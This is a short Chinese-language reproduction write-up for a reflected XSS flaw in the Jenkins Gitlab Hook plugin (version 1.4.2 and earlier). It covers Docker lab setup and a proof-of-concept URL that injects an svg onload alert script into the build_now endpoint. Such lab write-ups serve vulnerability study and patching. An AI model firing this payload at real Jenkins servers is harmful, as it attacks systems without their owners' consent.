漏洞概述
jenkins是一个开源软件项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件项目可以进行持续集成。
由于jenkins Gitlab Hook 插件没有在build_now端点中转义项目名称,从而导致反射XSS漏洞。
影响版本
Jenkins Gitlab Hook Plugin <= 1.4.2
环境搭建
这里使用docker进行安装
docker pull jenkins/jenkins

创建Jenkins挂载目录并授权权限
mkdir -p /var/jenkins_mountchmod 777 /var/jenkins_mount

配置镜像加速
cd /var/jenkins_mount/vi hudson.model.UpdateCenter.xml

创建并启动Jenkins容器
docker run -d -p 10240:8080 -p 10241:50000 -v /var/jenkins_mount:/var/jenkins_home -v /etc/localtime:/etc/localtime --name myjenkins jenkins/jenkins

访问http://your-ip:10240

vi /var/jenkins_mount/secrets/initialAdminPassword

进入页面后管理jenkins->管理插件->安装Gitlab Hook



安装完后重启jenkins

漏洞复现
访问http://127.0.0.1:10240/login?from=%2F即可看到登录页面

访问http://your-ip:10240/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E

